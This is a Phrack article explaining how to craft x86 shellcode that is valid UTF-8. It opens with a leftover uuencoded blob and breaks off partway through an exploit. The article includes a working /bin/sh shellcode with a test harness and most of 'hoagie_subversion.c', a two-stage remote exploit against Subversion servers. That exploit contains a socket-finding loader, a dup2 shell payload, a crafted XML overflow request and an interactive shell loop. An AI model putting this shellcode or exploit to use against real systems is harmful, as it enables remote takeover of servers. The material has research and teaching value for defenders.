M`5J^(`RT!`=Q_.')%0=<9Y[#&.E%@W,2QTD`OD*&D]YM0"HF[(0L)GYO32K:
MWP#6/O5/;>EXPY$>G6>:!8R/?;$.*WBP<GN<BA!`]`0Q3*1BRW`'QFE"4B_(
M_?BL0D8-#$\X:Z1=#JLMS^CMZ;=!/@3?W,O<8G!;L157UV=+Y6S"C`R39RW,
M+CT>4%0-^N$@'@*#&M#5YJ+2Z!L:Z.+8_FR!;>4)$B"$C$GHN^!S1-B^.B/-
MV)2?DYX20SD#WX$7:SMX*:$-'`(*9[455PUQABVJFVKL:@<'N1G'<AU=`C@7
M'(TD#+RE$=<1D%XPPCJ=KJ&ZH;.8MDIV-O<:]E!QC.#_\+%ED(U/V47``22I
MR/(=D,%'+@6/6D5U<QJGW?`#5HZ<<EL1WECH)U';%(YK2U;L8W?^7_[(+^Y7
M#JS/@^Q4\&PMZMNU!H=&'KE)]8"KH9SKVM76M[NZT)<YXE,"!L`S91*&J*<8
M'GM\N&S/<'1]LY*=M8*P`^6$1*T+FYF.2T6,YF.U<&XY"V>NC;*EPC=O!K+C
MNNV'U8OH9D@X4B6/V:RVX[+J<2.Y5JO+--`-FS7M0I:ATMHO+D@],.K=^LH1
MK^B0T\%<1K>&QMT1+NX;)IV0IFY75<%!S9Y(>1*`*Y`L)I&>LPV\,Q!IQ95&
M%8O&UO')RZVCW>:F;CY%"5T905#8SU#GX/7.8=.32L<<QH:-`_X.F&GAM^^^
MU1ZP-@/L3GP\ZNU]7!!.NG^ADF"&DI"73^O$H.(==%JOK@"U7KW9^N9(@8EU
MN!7CX5F]D9"[Y6Q#3<N[UUJ>A%:P$K[QK=4UYWX%4;YR],RY&7`@Q1[^5/2:
MY!05ELLR;Y@?#X[L<8'?D5(XR@2>CIA+BF;8&RL2)&RU<*J6./U?QYGU)W(X
M(8'C219H:8N+]98[;.35D"8LICECJ@A'9S@E%7.I[+FR;]1C@N:0-RW0L#8-
MCAO4-5]CJW4!R;MCWNRXUS61TC*0UPV_$K.?$PGPAQ^]2=8`"3'I:3QBWQ1/
M.&5!,QR4#_\AA\6R^#P/G<*QQW8"YZ1,#,%[G@40F2X&QKGM,3?VO7=L!"/X
M+5Z*EN-8=Z!.CS"0],=\V`03"HY/F8ELYPYGM7076KXK&R8MO@U11EDSJ#-"
M;HI*R3*<KU4ZM:W(`#?=J4PN96].V/XW*W&G)*BZRS+:*E!%+=&US1:K0;PI
M1'9!^I-/6T8-+MQL6"<09\2)K`<A8MTX>TR<E4Z]C0I!;/;A@_X:FY%NQZ<)
MT@1*,"H)O@5W!3$]13V2E'!B4][SB]U!FGP=0^_E@[I"T0WUUI1;+")@Y_=?
MPKLW?G#`,*7-<7EQ<5D.,G6V@#'DU3FS'FSEJETDG9)3]:XS^X%=(7,4J50^
M)IB:W;&6[S*@EL`>%="A6@M*L;L`(;W8S65P%@M['8Y/>S&\B7NR_1_21CG@
1'V\EP^C!*3.6>$(%K'-T)1T"2A2)E($->I'.,&)LW[NNS;V%E#N!7(7#PCJ
>8#Y)KY2?LVCC`J#M->@1@3!(/[[.'([*)N#(CF\(S&`!.I!;AE2?]V[)D8/
/9@<@K.H-^+5$7%H/`@DMC`:'\.&;F4Y^-Y(W+4*C;6#G8F.H"-.2:=9A@=F
];FY2,:I*ER\+,$/M]PE+M:XB&BW</0"NZ\`+**M](T]GT.MB=M+OJA\=^.+
J,='	]HQ[HMIN?!5WQ[2TB+P(V[)=MH3MN22:;,ZZOD@0<TY2&@ZNDMZ5\%F0
#6F9-+]P>V;?6YE8]EEF)EA<>?2V3XO@9-.<$Q7+#';'ES3>K:[<S.-#"N#E
4C5$-J<->X"!H]29=G8.NWDT^%MRRV+(Z[!W%:;F2[-+:_B61G#T7ZW@*!SW
XU[+;%_0:N5^=D#76_$HZL&SE+`30]H:7MP2:B]&H^'&PL+U]75[>(%LH>TD
/5^0GPMKSQ>&:\_G%V\6UXQ_3MWB@VI;%R9/\/*LG=&:(/'\]BSIC+,V3>F"
.G$ND`K$!$-P=MO#[IF1]HH-`0@283M:$[O$`I$+SL];?(#^O_VBS;_HD_Z.
<5_M<U_\OZ7U<ORGY96UZ?WOS_+,I!%?:@49M!SC7PZ"^?GY]\:_OR-OOM<=
'B[,\N:U.$YR:G-;YI:5,[F^(.]R07BZT/^5GO1WC/MGGP?&_WM&'&!Q97D9
ZW_YV;-I_+_/\13G/_V$43_RYS[^OT[,?@D701=7UM;6GB'^X]JSQ2G__QR/
O7I]6+YR;5^8I<#=M=:4#NG-B5X41E[YB\T\$BQ]R:*1_=H@M;`YTR@51Y(!
?&CZM<Z]6M4J>=&=W5=;[]X<G[Q[H^&"MHY?S]C$!-7\"9S=+K_90RK3*$&L
*$Y7!_L"=<0WE2*._X1<&'(Y/$S/%UNX"-/<+)0K%0-P7I6:&E?EEC45B*MS
]?Z#_0M&\_<?BE?2#_]]KJ)/G^DS?:;/])D^TV?Z3)_I,WVFS_29/M-G^DR?
Z3-]IL_TF3[39_I,G^DS?:;/])D^TV?Z3)_I,WVFS_3YB.?_![]^AN,`6`(`
`
end
```

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x00

```
|=---------------[ Writing UTF-8 compatible shellcodes ]-----------------=|
|=-----------------------------------------------------------------------=|
|=------------[ Thomas Wana aka. greuff  <greuff@void.at> ]--------------=|
|=-----------------------------------------------------------------------=|
```

```
1 - Abstract

2 - What is UTF-8?
  2.1 - UTF-8 in detail
  2.2 - Advantages of using UTF-8

3 - The need for UTF-8 compatible shellcodes
  3.1. - UTF-8 sequences
    3.1.1 - Possible sequences
    3.1.2 - UTF-8 shortest form
    3.1.3 - Valid UTF-8 sequences

4 - Creating the shellcode
  4.1 - Bytes that come in handy
    4.1.1 - Continuation bytes
    4.1.2 - Masking continuation bytes
    4.1.3 - Chaining instructions
  4.2 - General design rules
  4.3 - Testing the code

5 - A working example
  5.1 - The original shellcode
  5.2 - UTF-8-ify
  5.3 - Let's try it out
  5.4 - A real exploit using these techniques

6. - Considerations
  6.1 - Automated shellcode transformer
  6.2 - UTF-8 in XML-files

7 - Greetings, last words
```

- --

- ---[1. Abstract

This paper deals with the creation of shellcode that is recognized as valid by any UTF-8 parser. The problem is not unlike the alphanumeric shellcodes problem described by rix in phrack 57 [4], but fortunately we have much more characters available, so we can almost always build shellcode that is valid UTF-8 and does what we want.

I will show you a brief introduction into UTF-8 and will outline the characters available for building shellcodes. You will see that it's generally possible to make any shellcode valid UTF-8, but you will have to think quite a bit. A working example is provided at the end for reference.

- --

- ---[2. What is UTF-8?

For a really great introduction into the topic, I highly suggest reading the "UTF-8 and Unicode FAQ" [1] by Markus Kuhn.

UTF-8 is a character encoding, suitable to represent all 2^31 characters defined by the UNICODE standard. The really neat thing about UTF-8 is that all ASCII characters (the lower codepage in standard encodings like ISO-8859-1 etc) are the same in UTF-8 - no conversion needed. That means, in the best case, all your config files in /etc and every English text document you have on your computer right now are already 100% valid UTF-8.

Unicode characters are written like this: U-0000007F, which stands for
"the 128th character in the Unicode character space". You can see that
with this representation one can easily represent all 2^31 characters that
the Unicode-standard defines, but it's a waste of space (when you write
English or western text) and - much more important - makes the transition
to Unicode very hard (convert all the files you already have). "Hello"
would thus be encoded like:

```
   U-00000047 U-00000065 U-0000006C U-0000006C U-0000006F
```

which is in hex:

```
   \x47\x00\x00\x00 \x65\x00\x00\x00 \x6C\x00\x00\x00 \x6C\x00\x00\x00
   \x6F\x00\x00\x00
```

(for all you little endian friends).
What a waste of space! 20 bytes for 5 characters... The same text in
UTF-8:

```
   "Hello"
```

:-)

Let's look at the encoding in more detail.

- ---[2.1. UTF-8 in detail

UTF-8 can represent any Unicode character in an UTF-8 sequence between
1-6 bytes.

As I already mentioned before, the characters in the lower codepage
(ASCII-code) are the same in Unicode - they have the character values
U-00000000 - U-0000007F. You therefore still only need 7 bits to
represent all possible values. UTF-8 says, if you only need up to 7
bits for your character, stuff it into one byte and you are fine.

Unicode-characters that have higher values than U-0000007F must be
mapped to two or more bytes, as shown in the table below:

```
U-00000000 - U-0000007F: 0xxxxxxx
U-00000080 - U-000007FF: 110xxxxx 10xxxxxx
U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx
U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
```

Example: U-000000C4 (LATIN CAPITAL LETTER A WITH DIAERESIS)

This character's value is between U-00000080 and U-000007FF, so we
have to encode it using 2 bytes. 0xC4 is 11000100 binary. UTF-8 fills
up the places marked 'x' above with these bits, beginning at the
lowest significant bit.

```
    110xxxxx 10xxxxxx
+         11   000100
    -----------------
    11000011 10000100
```

which results in 0xC3 0x84 in UTF-8.

Example: U-0000211C (BLACK-LETTER CAPITAL R)

The same here. According to the table above, we need 3 bytes to encode
this character.

0x211C is 00100001 00011100 binary. Lets fill up the spaces:

```
    1110xxxx 10xxxxxx 10xxxxxx 10xxxxxx
+         00   100001   000100   011100
```

```
    -----------------------------------
    11100000 10100001 10000100 10011100
```

which is 0xE0 0xB1 0x84 0x9C in UTF-8.

I hope you get the point now :-)

- ---[2.2. Advantages of using UTF-8

UTF-8 combines the flexibility of Unicode (think of it: no more codepages mess!) with the ease-of-use of traditional encodings. Also, the transition to complete worldwide UTF-8 support is easy to do, because every plain-7-bit-ASCII-file that exists right now (and existed since the 60s) will be valid in the future too, without any modifications. Think of all your config files!

- --

- ---] 3. The need for UTF-8 compatible shellcodes

So, since we know now that UTF-8 is going to save our day in the future, why would we need shellcodes that are valid UTF-8 texts?

Well, UTF-8 is the default encoding for XML, and since more and more protocols start using XML and more and more networking daemons use these protocols, the chances to find a vulnerability in such a program increases. Additionally, applications start to pass user input around encoded in UTF-8. So sooner or later, you will overflow a buffer with UTF-8-data. Now you want that data to be executable AND valid UTF-8.

- ---] 3.1. UTF-8 sequences

Fortunately, the situation is not _that_ desperate, compared to alphanumeric shellcodes. There, we only have a very limited character set, and this really limits the instructions available. With UTF-8, we have a much bigger character space, but there is one problem: we are limited in the _sequence_ of characters. For example, with alphanumeric shellcodes we don’t care if the sequence is "AAAC" or "CAAA" (except for the problem, of course, that the instructions have to make sense :)) But with UTF-8, for example, 0xBF must not follow 0xBF. Only certain bytes may follow other bytes. This is what the UTF-8-shellcode-magic is all about.

- ---] 3.1.1. Possible sequences

Let’s look into the available "UTF-8-codespace" more closely:

```
U-00000000 - U-0000007F: 0xxxxxxx = 0 - 127 = 0x00 - 0x7F
   This is much like the alphanumeric shellcodes - any character
   can follow any character, so 0x41 0x42 0x43 is no problem, for
   example.

U-00000080 - U-000007FF: 110xxxxx 10xxxxxx
   First byte: 0xC0 - 0xDF
   Second byte: 0x80 - 0xBF
   You see the problem here. A valid sequence would be 0xCD 0x80
   (do you remember that sequence - int $0x80 :)), because the byte
   following 0xCD must be between 0x80 and 0xBF. An invalid
   sequence would be 0xCD 0x41, every UTF-8-parser chokes on
   this.

U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx
   First byte: 0xE0 - 0xEF
   Following 2 bytes: 0x80 - 0xBF
   So, if the sequence starts with 0xE0 to 0xEF, there must be
   two bytes following between 0x80 and 0xBF. Fortunately we can
   often use 0x90 here, which is nop. But more on that later.

U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
   First byte: 0xF0 - 0xF7
   Following 3 bytes: 0x80 - 0xBF
   You get the point.

U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
   First byte: 0xF8 - 0xFB
   Following 4 bytes: 0x80 - 0xBF

U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
   First byte: 0xFC - 0xFD
   Following 5 bytes: 0x80 - 0xBF
```

So we know now what bytes make up UTF-8:

```
0x00 - 0x7F without problems
0x80 - 0xBF only as a "continuation byte" in the middle of a sequence
0xC0 - 0xDF as a start-byte of a two-byte-sequence (1 continuation byte)
0xE0 - 0xEF as a start-byte of a three-byte-sequence (2 continuation bytes)
0xF0 - 0xF7 as a start-byte of a four-byte-sequence (3 continuation bytes)
0xF8 - 0xFB as a start-byte of a five-byte-sequence (4 continuation bytes)
0xFC - 0xFD as a start-byte of a six-byte-sequence (5 continuation bytes)
0xFE - 0xFF not usable! (actually, they may be used only once in a UTF-8-
            text - the sequence 0xFF 0xFE marks the start of such a
            text)
```

- ---] 3.1.2. UTF-8 shortest form

Unfortunately (for us), the Corrigendum #1 to the Unicode standard [2]
specifies that UTF-8-parsers only accept the "UTF-8 shortest form"
as a valid sequence.

What’s the problem here?

Well, without that rule, we could encode the character U+0000000A (line
feed) in many different ways:

```
0x0A - this is the shortest possible form
0xC0 0x8A
0xE0 0x80 0x8A
0xF0 0x80 0x80 0x8A
0xF8 0x80 0x80 0x80 0x8A
0xFC 0x80 0x80 0x80 0x80 0x8A
```

Now that would be a big security problem, if UTF-8 parsers accepted
all the possible forms. Look at the strcmp routine - it compares two
strings byte per byte to tell if they are equal or not (that still works
this way when comparing UTF-8-strings). An attacker could generate a string
with a longer form than necessary and so bypass string comparison checks,
for example.

Because of this, UTF-8-parsers are _required_ to only accept the shortest
possible form of a sequence. This rules out sequences that start with one
of the following byte patterns:

```
1100000x (10xxxxxx)
11100000 100xxxxx (10xxxxxx)
11110000 1000xxxx (10xxxxxx 10xxxxxx)
11111000 10000xxx (10xxxxxx 10xxxxxx 10xxxxxx)
11111100 100000xx (10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx)
```

Now certain sequences become invalid, for example 0xC0 0xAF, because
the resulting UNICODE character is not encoded in its shortest form.

- ---] 3.1.3. Valid UTF-8 sequences

Now that we know all this, we can tell which sequences are valid
UTF-8:

```
 Code Points      1st Byte  2nd Byte 3rd Byte 4th Byte
U+0000..U+007F     00..7F
U+0080..U+07FF     C2..DF    80..BF
```

```
U+0800..U+0FFF     E0        A0..BF   80..BF
U+1000..U+FFFF     E1..EF    80..BF   80..BF
U+10000..U+3FFFF   F0        90..BF   80..BF   80..BF
U+40000..U+FFFFF   F1..F3    80..BF   80..BF   80..BF
U+100000..U+10FFFF F4        80..8F   80..BF   80..BF
```

Let's look how to build UTF-8-shellcode!

- ---

- ---] 4. Creating the shellcode

Before you start, be sure that you are comfortable creating "standard"
shellcode, i.e. shellcode that has no limitations in the instructions
available.

We know which characters we can use and that we have to pay attention to
the character sequence. Basically, we can transform any shellcode to
UTF-8 compatible shellcode, but we often need some tricks.

- ---] 4.1. Bytes that come in handy

The biggest problem while building UTF-8-shellcode is that you have
to get the sequences right.

```
     "\x31\xc9"          // xor %ecx, %ecx
     "\x31\xdb"          // xor %ebx, %ebx
```

We start with \x31. No problem here, \x31 is between \x00 and \x7f,
so we don't need any more continuation bytes. \xc9 is next. Woops -
it is between \xc2 and \xdf, so we need a continuation byte. What
byte is next? \x31 - that is no valid continuation byte (which
have to be between \x80 and \xbf). So we have to insert an instruction
here that doesn't harm our code *and* makes the sequence UTF-8-
compatible.

- ---] 4.1.1. Continuation bytes

We are lucky here. The nop instruction (\x90) is the perfect
continuation byte and simply does nothing :) (exception: you can't use
it if it is the first continuation byte in a \xe1-\xef sequence -
see the table in 3.1.3).

So to handle the problem above, we would simply do the following:

```
     "\x31\xc9"          // xor %ecx, %ecx
     "\x90"              // nop (UTF-8)
     "\x31\xdb"          // xor %ebx, %ebx
     "\x90"              // nop (UTF-8)
```

(I always mark bytes I inserted because of UTF-8 so I don't accidentally
optimize them away later when I need to save space)

- ---] 4.1.2. Masking continuation bytes

The other way round, you often have instructions that start with a
continuation byte, i.e. the first byte of the instruction is between
\x80 and \xbf:

```
     "\x8d\x0c\x24"      // lea (%esp,1),%ecx
```

That means you have to find an instruction that is only one byte long
and lies between \xc2 and \xdf.

The most suitable one I found here is SALC [2]. This is an *undocumented*
Intel opcode, but every Intel CPU (and compatible) supports it. The
funny thing is that even gdb reports an "invalid opcode" there. But it
works :) The opcode of SALC is \xd6 so it suits our purpose well.

The bad thing is that it has side effects. This instruction modifies

%al depending on the carry flag (see [3] for details). So always think
about what happens to your %eax register when you insert this instruction!

Back to the example, the following modification makes the sequence valid
UTF-8:

```
     "\xd6"              // salc (UTF-8)
     "\x8d\x0c\x24"      // lea (%esp,1),%ecx
```

- ---] 4.1.3. Chaining instructions

If you are lucky, instructions that begin with continuation bytes follow
instructions that need continuation bytes, so you can chain them together,
without inserting extra bytes.

You can often safe space this way just by rearranging instructions, so
think about it when you are short of space.

- ---] 4.2. General design rules

%eax is evil. Try to avoid using it in instructions that use it as a
parameter because the instruction then often contains \xc0 which is
invalid in UTF-8. Use something like

```
    xor %ebx, %ebx
    push %ebx
    pop %eax
```

(pop %eax has an instruction code of its own - and a very UTF-8 friendly
one, too :)

- ---] 4.3. Testing the code

How can you test the code? Use iconv, it comes with the glibc. You
basically convert the UTF-8 to UTF-16, and if there are no error
messages then the string is valid UTF-8. (Why UTF-16? UTF-8 sequences
can yield character codes well beyond 0xFF, so the conversion would
fail in the other direction if you would convert to LATIN1 or ASCII.
Drove me nuts some time ago, because I always thought my UTF-8 was
wrong...)

First, invalid UTF-8:

```
greuff@pluto:/tmp$ hexdump -C test
00000000  31 c9 31 db                                       |1.1.|
00000004
greuff@pluto:/tmp$ iconv -f UTF-8 -t UTF-16 test
1iconv: illegal input sequence at position 1
greuff@pluto:/tmp$
```

And now valid UTF-8:

```
greuff@pluto:/tmp$ hexdump -C test
00000000  31 c9 90 31 db 90                                 |1..1..|
00000006
greuff@pluto:/tmp$ iconv -f UTF-8 -t UTF-16 test
1P1greuff@pluto:/tmp$
```

- --

- ---] 5. A working example

Now onto something practical. Let's convert a classical /bin/sh-spawning
shellcode to UTF-8.

- ---] 5.1. The original shellcode

```
    "\x31\xd2"                 // xor    %edx,%edx
    "\x52"                     // push   %edx
    "\x68\x6e\x2f\x73\x68"     // push   $0x68732f6e
    "\x68\x2f\x2f\x62\x69"    // push   $0x69622f2f
    "\x89\xe3"                // mov    %esp,%ebx
    "\x52"                    // push   %edx
    "\x53"                    // push   %ebx
    "\x89\xe1"                // mov    %esp,%ecx
    "\xb8\x0bx\00\x00\x00"    // mov    $0xb,%eax
    "\xcd\x80"                // int    $0x80
```

The code simply prepares the stack in the right way, sets some registers
and jumps into kernel space (int $0x80).

- ---] 5.2. UTF-8-ify

That's an easy example, no big obstacles here. The only obvious problem
is the "mov $0xb,%eax" instruction. I am quite lazy now, so I'll just
copy %edx (which is guaranteed to contain 0 at this time) to %eax and
increase it 11 times :)

The new shellcode looks like this (wrapped into a C program so you
can try it out):

```
- ----------8<------------8<-------------8<------------8<---------------
#include <stdio.h>

char shellcode[]=
    "\x31\xd2"                // xor    %edx,%edx
    "\x90"                    // nop (UTF-8 - because previous byte was 0xd2)
    "\x52"                    // push   %edx
    "\x68\x6e\x2f\x73\x68"    // push   $0x68732f6e
    "\x68\x2f\x2f\x62\x69"    // push   $0x69622f2f
    "\xd6"                    // salc (UTF-8 - because next byte is 0x89)
    "\x89\xe3"                // mov    %esp,%ebx
    "\x90"                    // nop (UTF-8 - two nops because of 0xe3)
    "\x90"                    // nop (UTF-8)
    "\x52"                    // push   %edx
    "\x53"                    // push   %ebx
    "\xd6"                    // salc (UTF-8 - because next byte is 0x89)
    "\x89\xe1"                // mov    %esp,%ecx
    "\x90"                    // nop (UTF-8 - same here)
    "\x90"                    // nop (UTF-8)
    "\x52"                    // push %edx
    "\x58"                    // pop %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\xcd\x80"                // int    $0x80
    ;

void main()
{
   int *ret;
   FILE *fp;
   fp=fopen("out","w");
   fwrite(shellcode,strlen(shellcode),1,fp);
   fclose(fp);
   ret=(int *)(&ret+2);
   *ret=(int)shellcode;
}
- ----------8<------------8<-------------8<------------8<---------------
```

As you can see, I used nop's as continuation bytes as well as salc
to mask out continuation bytes. You'll quickly get an eye for this

if you do it often.

- ---] 5.3. Let's try it out

```
greuff@pluto:/tmp$ gcc test.c -o test
test.c: In function 'main':
test.c:37: warning: return type of 'main' is not 'int'
greuff@pluto:/tmp$ ./test
sh-2.05b$ exit
exit
greuff@pluto:/tmp$ hexdump -C out
00000000  31 d2 90 52 68 6e 2f 73  68 68 2f 2f 62 69 d6 89  |1..Rhn/shh//bi..|
00000010  e3 90 90 52 53 d6 89 e1  90 90 52 58 40 40 40 40  |...RS.....RX@@@@|
00000020  40 40 40 40 40 40 40 cd  80                       |@@@@@@@..|
00000029
greuff@pluto:/tmp$ iconv -f UTF-8 -t UTF-16 out && echo valid!
1Rhn/shh//bi4RSRX@@@@@@@@@@@valid!
greuff@pluto:/tmp$
```

Hooray! :-)

- ---] 5.4. A real exploit using these techniques

The recent date parsing buffer overflow in Subversion <= 1.0.2 led
me into researching these problems and writing the following exploit.
It isn't 100% finished; but it works against svn:// and http:// URLs.
The first shellcode stage is a hand crafted UTF-8-shellcode, that
searches for the socket file descriptor and loads a second stage shellcode
from the exploit and executes it. A real life example showing you that
these things actually work :)

```
- ----------8<------------8<-------------8<------------8<---------------
/*****************************************************************
 * hoagie_subversion.c
 *
 * Remote exploit against Subversion-Servers.
 *
 * Author: greuff <greuff@void.at>
 *
 * Tested on Subversion 1.0.0 and 0.37
 *
 * Algorithm:
 * This is a two-stage exploit. The first stage overflows a buffer
 * on the stack and leaves us ~60 bytes of machine code to be
 * executed. We try to find the socket-fd there and then do a
 * read(2) on the socket. The exploit then sends the second stage
 * loader to the server, which can be of any length (up to the
 * obvious limits, of course). This second stage loader spawns
 * /bin/sh on the server and connects it to the socket-fd.
 *
 * Credits:
 *    void.at
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
 * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
 * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
 *
 *****************************************************************/

#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>
```

```
enum protocol { SVN, SVNSSH, HTTP, HTTPS };

char stage1loader[]=
             // begin socket fd search
             "\x31\xdb"              // xor %ebx, %ebx
             "\x90"                  // nop (UTF-8)
             "\x53"                  // push %ebx
             "\x58"                  // pop %eax
             "\x50"                  // push %eax
             "\x5f"                  // pop %edi                # %eax = %ebx = %edi = 0
             "\x2c\x40"              // sub $0x40, %al
             "\x50"                  // push %eax
             "\x5b"                  // pop %ebx
             "\x50"                  // push %eax
             "\x5a"                  // pop %edx                # %ebx = %edx = 0xC0
             "\x57"                  // push %edi
             "\x57"                  // push %edi               # safety-0
             "\x54"                  // push %esp
             "\x59"                  // pop %ecx                # %ecx = pointer to the buf
fer
             "\x4b"                  // dec %ebx                # beginloop:
             "\x57"                  // push %edi
             "\x58"                  // pop %eax                # clear %eax
             "\xd6"                  // salc (UTF-8)
             "\xb0\x60"              // movb $0x60, %al
             "\x2c\x44"              // sub $0x44, %al          # %eax = 0x1C
             "\xcd\x80"              // int $0x80               # fstat(i, &stat)
             "\x58"                  // pop %eax
             "\x58"                  // pop %eax
             "\x50"                  // push %eax
             "\x50"                  // push %eax
             "\x38\xd4"              // cmp %dl, %ah            # uppermost 2 bits of st_mo
de set?
             "\x90"                  // nop (UTF-8)
             "\x72\xed"              // jb beginloop
             "\x90"                  // nop (UTF-8)
             "\x90"                  // nop (UTF-8)             # %ebx now contains the soc
ket fd
             // begin read(2)
             "\x57"                  // push %edi
             "\x58"                  // pop %eax                # zero %eax
             "\x40"                  // inc %eax
             "\x40"                  // inc %eax
             "\x40"                  // inc %eax                # %eax=3
             //"\x54"                  // push %esp
             //"\x59"                  // pop %ecx                # %ecx ... address of buf
fer
             //"\x54"                  // push %edi
             //"\x5a"                  // pop %edx                # %edx ... bufferlen (0xC
0)
             "\xcd\x80"              // int $0x80               # read(2) second stage load
er
             "\x39\xc7"              // cmp %eax, %edi
             "\x90"                  // nop (UTF-8)
             "\x7f\xf3"              // jg startover
             "\x90"                  // nop (UTF-8)
             "\x90"                  // nop (UTF-8)
             "\x90"                  // nop (UTF-8)
             "\x54"                  // push %esp
             "\xc3"                  // ret                     # execute second stage load
er
             "\x90"                  // nop (UTF-8)
             "\0"    // %ebx still contains the fd we can use in the 2nd stage loader.
             ;

char stage2loader[]=
             // dup2 - %ebx contains the fd
             "\xb8\x3f\x00\x00\x00"   // mov $0x3F, %eax
             "\xb9\x00\x00\x00\x00"   // mov $0x0, %ecx
             "\xcd\x80"                 // int $0x80
             "\xb8\x3f\x00\x00\x00"     // mov $0x3F, %eax
             "\xb9\x01\x00\x00\x00"     // mov $0x1, %ecx
             "\xcd\x80"                 // int $0x80
             "\xb8\x3f\x00\x00\x00"     // mov $0x3F, %eax
             "\xb9\x02\x00\x00\x00"     // mov $0x2, %ecx
             "\xcd\x80"                 // int $0x80
             // start /bin/sh
             "\x31\xd2"                 // xor %edx, %edx
             "\x52"                     // push %edx
             "\x68\x6e\x2f\x73\x68"     // push $0x68732f6e
             "\x68\x2f\x2f\x62\x69"     // push $0x69622f2f
             "\x89\xe3"                 // mov %esp, %ebx
             "\x52"                     // push %edx
             "\x53"                     // push %ebx
             "\x89\xe1"                 // mov %esp, %ecx
             "\xb8\x0b\x00\x00\x00"     // mov $0xb, %eax
             "\xcd\x80"                 // int $0x80
             "\xb8\x01\x00\x00\x00"     // mov $0x1, %eax
             "\xcd\x80"                 // int %0x80     (exit)
             ;

int stage2loaderlen=69;

char requestfmt[]=
"REPORT %s HTTP/1.1\n"
"Host: %s\n"
"User-Agent: SVN/0.37.0 (r8509) neon/0.24.4\n"
"Content-Length: %d\n"
"Content-Type: text/xml\n"
"Connection: close\n\n"
"%s\n";

char xmlreqfmt[]=
"<?xml version=\"1.0\" encoding=\"utf-8\"?>"
"<S:dated-rev-report xmlns:S=\"svn:\" xmlns:D=\"DAV:\">"
"<D:creationdate>%s%c%c%c%c</D:creationdate>"
"</S:dated-rev-report>";

int parse_uri(char *uri,enum protocol *proto,char host[1000],int *port,char repos[1000])
{
   char *ptr;
   char bfr[1000];

   ptr=strstr(uri,"://");
   if(!ptr) return -1;
   *ptr=0;
   snprintf(bfr,sizeof(bfr),"%s",uri);
   if(!strcmp(bfr,"http"))
      *proto=HTTP, *port=80;
   else if(!strcmp(bfr,"svn"))
      *proto=SVN, *port=3690;
   else
   {
      printf("Unsupported protocol %s\n",bfr);
      return -1;
   }
   uri=ptr+3;
   if((ptr=strchr(uri,':')))
   {
      *ptr=0;
      snprintf(host,1000,"%s",uri);
      uri=ptr+1;
      if((ptr=strchr(uri,'/'))==NULL) return -1;
      *ptr=0;
      snprintf(bfr,1000,"%s",uri);
      *port=(int)strtol(bfr,NULL,10);
      *ptr='/';
      uri=ptr;
   }
   else if((ptr=strchr(uri,'/')))
   {
      *ptr=0;
      snprintf(host,1000,"%s",uri);
      *ptr='/';
      uri=ptr;
   }
   snprintf(repos,1000,"%s",uri);
   return 0;
}

int exec_sh(int sockfd)
{
   char snd[4096],rcv[4096];
   fd_set rset;
   while(1)
   {
      FD_ZERO(&rset);
      FD_SET(fileno(stdin),&rset);
      FD_SET(sockfd,&rset);
      select(255,&rset,NULL,NULL,NULL);
      if(FD_ISSET(fileno(stdin),&rset))
      {
         memset(snd,0,sizeof(snd));
         fgets(snd,sizeof(snd),stdin);
         write(sockfd,snd,strlen(snd));
      }
      if(FD_ISSET(sockfd,&rset))
      {
         memset(rcv,0,sizeof(rcv));
         if(read(sockfd,rcv,sizeof(rcv))<=0)
            exit(0);
         fputs(rcv,stdout);
      }
   }
}

int main(int argc, char **argv)
{
   int sock, port;
   size_t size;
   char cmd[1000], reply[1000], buffer[1000];
   char svdcmdline[1000];
   char host[1000], repos[1000], *ptr, *caddr;
   unsigned long addr;
   struct sockaddr_in sin;
   struct hostent *he;
   enum protocol proto;

   /*sock=open("output",O_CREAT|O_TRUNC|O_RDWR,0666);
   write(sock,stage1loader,strlen(stage1loader));
   close(sock);
   return 0;*/

   printf("hoagie_subversion - remote exploit against subversion servers\n"
          "by greuff@void.at\n\n");
   if(argc!=3)
   {
      printf("Usage: %s serverurl offset\n\n",argv[0]);
      printf("Examples:\n"
             "   %s svn://localhost/repository 0x41414141\n"
             "   %s http://victim.com:6666/svn 0x40414336\n\n",argv[0],argv[0]);
      printf("The offset is an alphanumeric address (or UTF-8 to be\n"
             "more precise) of a pop instruction, followed by a ret.\n"
             "Brute force when in doubt.\n\n");
      printf("When exploiting against an svn://-url, you can supply a\n"
             "binary offset too.\n\n");
      exit(1);
   }
   // parse the URI
   snprintf(svdcmdline,sizeof(svdcmdline),"%s",argv[1]);
   if(parse_uri(argv[1],&proto,host,&port,repos)<0)
   {
      printf("URI parse error\n");
      exit(1);
   }
   printf("parse_uri result:\n"
          "Protocol: %d\n"
          "Host: %s\n"
          "Port: %d\n"
          "Repository: %s\n\n",proto,host,port,repos);
   addr=strtoul(argv[2],NULL,16);
   caddr=(char *)&addr;
